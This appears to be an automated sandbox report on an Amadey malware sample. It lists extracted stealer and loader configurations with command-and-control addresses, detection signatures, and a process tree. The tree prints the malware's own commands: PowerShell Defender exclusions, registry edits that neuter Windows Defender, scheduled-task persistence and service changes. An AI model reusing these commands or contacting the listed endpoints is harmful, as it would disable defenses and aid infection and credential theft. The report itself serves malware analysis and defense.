amadey | 3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f

Analysis

max time kernel
28s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
17-05-2024 03:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe
Size

1.8MB
MD5

e4fb52b0b9b99bc98ac0a4ce0e6887de
SHA1

e1b4e109a62e511af3af10cba7171059e75d8162
SHA256

3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f
SHA512

f8227bc14733f7d8c9a82d57972f2a592a22c20269d63ce5a26aa6a022e9c8a9d33632658fec00d947bd5b9cbf2f59f2dacbd5672180b5616dbdc2b46d10540b
SSDEEP

49152:/28FmDxzPNXEedPADw53nrx2MY9aLTXiFkvoeOgR:/XQeedADk3IMY9aHySge

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

http://5.42.96.7

Attributes

install_dir
7af68cdb52
install_file
axplons.exe
strings_key
e2ce58e78f631ed97d01fe7b70e85d5e
url_paths
/zamo7h/index.php

rc4.plain

Extracted

Family

redline

Botnet

185.215.113.67:26260

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

185.172.128.33:8970

Extracted

Family

stealc

Botnet

zzvv

http://23.88.106.134

Attributes

url_path
/c73eed764cc59dcb.php

Extracted

Family

gcleaner

185.172.128.90

5.42.64.56

5.42.65.64

Extracted

Family

lumma

https://headraisepresidensu.shop/api

https://sofaprivateawarderysj.shop/api

https://lineagelasserytailsd.shop/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral1/memory/6124-553-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral1/memory/5280-554-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral1/memory/5280-576-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral1/memory/6124-575-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral1/memory/6124-644-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral1/memory/5280-645-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral1/memory/6124-691-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral1/memory/5280-692-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe	family_redline
behavioral1/memory/988-78-0x0000000000D60000-0x0000000000DB2000-memory.dmp	family_redline
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe	family_redline
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe	family_redline
behavioral1/memory/2188-123-0x0000000000CC0000-0x0000000000D12000-memory.dmp	family_redline
behavioral1/memory/5032-144-0x0000000000C40000-0x0000000000D00000-memory.dmp	family_redline

Stealc
Stealc is an infostealer written in C++.
stealer stealc

XMRig Miner payload 4 IoCs

miner

Processes:

resource	yara_rule
C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe	family_xmrig
C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe	xmrig
C:\Windows\Temp\631389.exe	family_xmrig
C:\Windows\Temp\631389.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

axplons.exe3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
5424	powershell.exe
5832	powershell.exe
5180	powershell.exe
5032	powershell.exe
2328	powershell.exe
1812	powershell.exe
3152	powershell.exe
6096	powershell.exe
5016	powershell.exe
6008	powershell.exe
2752	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exeaxplons.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

RegAsm.exe3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exeaxplons.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	axplons.exe

Executes dropped EXE 8 IoCs

Processes:

axplons.exealex.execrypted333.exeredline1.exeinstall.exekeks.exetrf.exeswizzzz.exe

pid process

4368 axplons.exe
4032 alex.exe
1604 crypted333.exe
988 redline1.exe
2368 install.exe
2188 keks.exe
5032 trf.exe
4380 swizzzz.exe

pid	process
4368	axplons.exe
4032	alex.exe
1604	crypted333.exe
988	redline1.exe
2368	install.exe
2188	keks.exe
5032	trf.exe
4380	swizzzz.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

axplons.exe3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Wine	axplons.exe
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Wine	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Pictures\rKmSqSpKPudtsIa6WNuT0o3J.exe	themida
behavioral1/memory/5872-521-0x0000000140000000-0x0000000140C18000-memory.dmp	themida
behavioral1/memory/5872-522-0x0000000140000000-0x0000000140C18000-memory.dmp	themida
behavioral1/memory/5872-577-0x0000000140000000-0x0000000140C18000-memory.dmp	themida

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

150 iplogger.com
151 iplogger.com
91 pastebin.com
94 pastebin.com
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

161 api.myip.com
162 api.myip.com
163 ipinfo.io
164 ipinfo.io
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exeaxplons.exe

pid process

1312 3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe
4368 axplons.exe

flow	ioc
150	iplogger.com
151	iplogger.com
91	pastebin.com
94	pastebin.com

flow	ioc
161	api.myip.com
162	api.myip.com
163	ipinfo.io
164	ipinfo.io

Suspicious use of SetThreadContext 2 IoCs

Processes:

alex.execrypted333.exe

description	pid	process	target process
PID 4032 set thread context of 2244	4032	alex.exe	RegAsm.exe
PID 1604 set thread context of 372	1604	crypted333.exe	RegAsm.exe

Drops file in Program Files directory 6 IoCs

Processes:

install.exe

description	ioc	process
File created	C:\Program Files (x86)\GameStabilityService\GameService.exe	install.exe
File opened for modification	C:\Program Files (x86)\GameStabilityService\GameService.exe	install.exe
File created	C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe	install.exe
File opened for modification	C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe	install.exe
File created	C:\Program Files (x86)\GameStabilityService\installm.bat	install.exe
File opened for modification	C:\Program Files (x86)\GameStabilityService\installm.bat	install.exe

Drops file in Windows directory 1 IoCs

Processes:

3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe

description ioc process

File created C:\Windows\Tasks\axplons.job 3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3924 sc.exe
5724 sc.exe
2424 sc.exe
5480 sc.exe
2440 sc.exe
5964 sc.exe
3356 sc.exe
4556 sc.exe
2368 sc.exe
2424 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\Tasks\axplons.job	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe

pid	process
3924	sc.exe
5724	sc.exe
2424	sc.exe
5480	sc.exe
2440	sc.exe
5964	sc.exe
3356	sc.exe
4556	sc.exe
2368	sc.exe
2424	sc.exe

Program crash 11 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
64	4032	WerFault.exe	alex.exe
5848	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe
3412	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe
4300	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe
5188	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe
2408	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe
1812	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe
5008	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe
5300	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe
5128	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe
5560	5944	WerFault.exe	wrHHnYrdHXjS8LUsPORFGgBn.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

208 schtasks.exe
532 schtasks.exe
4652 schtasks.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

2172 taskkill.exe

pid	process
208	schtasks.exe
532	schtasks.exe
4652	schtasks.exe

pid	process
2172	taskkill.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exeaxplons.exe

pid	process
1312	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe
1312	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe
4368	axplons.exe
4368	axplons.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe

pid process

1312 3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exeaxplons.exealex.execrypted333.exeRegAsm.exe

description	pid	process	target process
PID 1312 wrote to memory of 4368	1312	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe	axplons.exe
PID 1312 wrote to memory of 4368	1312	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe	axplons.exe
PID 1312 wrote to memory of 4368	1312	3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe	axplons.exe
PID 4368 wrote to memory of 4032	4368	axplons.exe	alex.exe
PID 4368 wrote to memory of 4032	4368	axplons.exe	alex.exe
PID 4368 wrote to memory of 4032	4368	axplons.exe	alex.exe
PID 4032 wrote to memory of 2244	4032	alex.exe	RegAsm.exe
PID 4032 wrote to memory of 2244	4032	alex.exe	RegAsm.exe
PID 4032 wrote to memory of 2244	4032	alex.exe	RegAsm.exe
PID 4032 wrote to memory of 2244	4032	alex.exe	RegAsm.exe
PID 4032 wrote to memory of 2244	4032	alex.exe	RegAsm.exe
PID 4032 wrote to memory of 2244	4032	alex.exe	RegAsm.exe
PID 4032 wrote to memory of 2244	4032	alex.exe	RegAsm.exe
PID 4032 wrote to memory of 2244	4032	alex.exe	RegAsm.exe
PID 4368 wrote to memory of 1604	4368	axplons.exe	crypted333.exe
PID 4368 wrote to memory of 1604	4368	axplons.exe	crypted333.exe
PID 4368 wrote to memory of 1604	4368	axplons.exe	crypted333.exe
PID 1604 wrote to memory of 4092	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 4092	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 4092	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 3952	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 3952	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 3952	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 372	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 372	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 372	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 372	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 372	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 372	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 372	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 372	1604	crypted333.exe	RegAsm.exe
PID 1604 wrote to memory of 372	1604	crypted333.exe	RegAsm.exe
PID 4368 wrote to memory of 988	4368	axplons.exe	redline1.exe
PID 4368 wrote to memory of 988	4368	axplons.exe	redline1.exe
PID 4368 wrote to memory of 988	4368	axplons.exe	redline1.exe
PID 4368 wrote to memory of 2368	4368	axplons.exe	install.exe
PID 4368 wrote to memory of 2368	4368	axplons.exe	install.exe
PID 4368 wrote to memory of 2368	4368	axplons.exe	install.exe
PID 2244 wrote to memory of 2188	2244	RegAsm.exe	keks.exe
PID 2244 wrote to memory of 2188	2244	RegAsm.exe	keks.exe
PID 2244 wrote to memory of 2188	2244	RegAsm.exe	keks.exe
PID 2244 wrote to memory of 5032	2244	RegAsm.exe	powershell.exe
PID 2244 wrote to memory of 5032	2244	RegAsm.exe	powershell.exe
PID 4368 wrote to memory of 4380	4368	axplons.exe	swizzzz.exe
PID 4368 wrote to memory of 4380	4368	axplons.exe	swizzzz.exe
PID 4368 wrote to memory of 4380	4368	axplons.exe	swizzzz.exe

C:\Users\Admin\AppData\Local\Temp\3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe
"C:\Users\Admin\AppData\Local\Temp\3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
  "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
    "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4032
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2244
    - - C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
        5⤵
        Executes dropped EXE
        
        PID:2188
    - - C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
        5⤵
        Executes dropped EXE
        
        PID:5032
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
        5⤵
        
        PID:4724
      - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        6⤵
        
        PID:5616
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4032 -s 336
      4⤵
      Program crash
      PID:64
- - C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
    "C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1604
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4092
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3952
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:372
- - C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
    "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
    3⤵
    - Executes dropped EXE
    PID:988
- - C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
    "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:2368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameStabilityService\installm.bat" "
      4⤵
      PID:2072
    - - C:\Windows\SysWOW64\sc.exe
        
        Sc delete GameSyncLinks
        5⤵
        Launches sc.exe
        
        PID:3924
    - - C:\Program Files (x86)\GameStabilityService\GameService.exe
        
        GameService remove GameSyncLinks confirm
        5⤵
        
        PID:1808
    - - C:\Program Files (x86)\GameStabilityService\GameService.exe
        
        GameService install GameStabilityService "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
        5⤵
        
        PID:4068
    - - C:\Program Files (x86)\GameStabilityService\GameService.exe
        
        GameService start GameStabilityService
        5⤵
        
        PID:4344
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
      4⤵
      PID:4928
- - C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
    "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
    3⤵
    - Executes dropped EXE
    PID:4380
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3136
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3556
- - C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
    "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
    3⤵
    PID:1728
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:1600
- - C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
    "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
    3⤵
    PID:5064
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:532
- - C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
    "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
    3⤵
    PID:2156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5424
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
      4⤵
      PID:5436
    - - C:\Users\Admin\Pictures\wrHHnYrdHXjS8LUsPORFGgBn.exe
        
        "C:\Users\Admin\Pictures\wrHHnYrdHXjS8LUsPORFGgBn.exe"
        5⤵
        
        PID:5944
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 456
        6⤵
        Program crash
        
        PID:5848
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 528
        6⤵
        Program crash
        
        PID:3412
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 748
        6⤵
        Program crash
        
        PID:4300
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 756
        6⤵
        Program crash
        
        PID:5188
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 756
        6⤵
        Program crash
        
        PID:2408
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 844
        6⤵
        Program crash
        
        PID:1812
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 968
        6⤵
        Program crash
        
        PID:5008
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 988
        6⤵
        Program crash
        
        PID:5300
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 1304
        6⤵
        Program crash
        
        PID:5128
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "wrHHnYrdHXjS8LUsPORFGgBn.exe" /f & erase "C:\Users\Admin\Pictures\wrHHnYrdHXjS8LUsPORFGgBn.exe" & exit
        6⤵
        
        PID:5712
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "wrHHnYrdHXjS8LUsPORFGgBn.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:2172
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 1276
        6⤵
        Program crash
        
        PID:5560
    - - C:\Users\Admin\Pictures\AG8usPliU53ZUFAR7SznM9sF.exe
        
        "C:\Users\Admin\Pictures\AG8usPliU53ZUFAR7SznM9sF.exe"
        5⤵
        
        PID:6124
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6008
      - C:\Users\Admin\Pictures\AG8usPliU53ZUFAR7SznM9sF.exe
        
        "C:\Users\Admin\Pictures\AG8usPliU53ZUFAR7SznM9sF.exe"
        6⤵
        
        PID:5832
    - - C:\Users\Admin\Pictures\vZvBGK7eTQjTcB9VgczwcsJE.exe
        
        "C:\Users\Admin\Pictures\vZvBGK7eTQjTcB9VgczwcsJE.exe"
        5⤵
        
        PID:5280
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2752
      - C:\Users\Admin\Pictures\vZvBGK7eTQjTcB9VgczwcsJE.exe
        
        "C:\Users\Admin\Pictures\vZvBGK7eTQjTcB9VgczwcsJE.exe"
        6⤵
        
        PID:5268
    - - C:\Users\Admin\Pictures\hm1aNHzNQbQ2oAdlzgSeEKBK.exe
        
        "C:\Users\Admin\Pictures\hm1aNHzNQbQ2oAdlzgSeEKBK.exe" /s
        5⤵
        
        PID:5272
    - - C:\Users\Admin\Pictures\rKmSqSpKPudtsIa6WNuT0o3J.exe
        
        "C:\Users\Admin\Pictures\rKmSqSpKPudtsIa6WNuT0o3J.exe"
        5⤵
        
        PID:5872
    - - C:\Users\Admin\Pictures\gcRvtZ4CoGbXVeGWnMpjUNWG.exe
        
        "C:\Users\Admin\Pictures\gcRvtZ4CoGbXVeGWnMpjUNWG.exe"
        5⤵
        
        PID:1948
      - C:\Users\Admin\AppData\Local\Temp\7zSD81B.tmp\Install.exe
        
        .\Install.exe /tEdidDDf "385118" /S
        6⤵
        
        PID:2156
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        7⤵
        
        PID:3116
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        8⤵
        
        PID:1136
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        9⤵
        
        PID:208
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        10⤵
        
        PID:4704
        
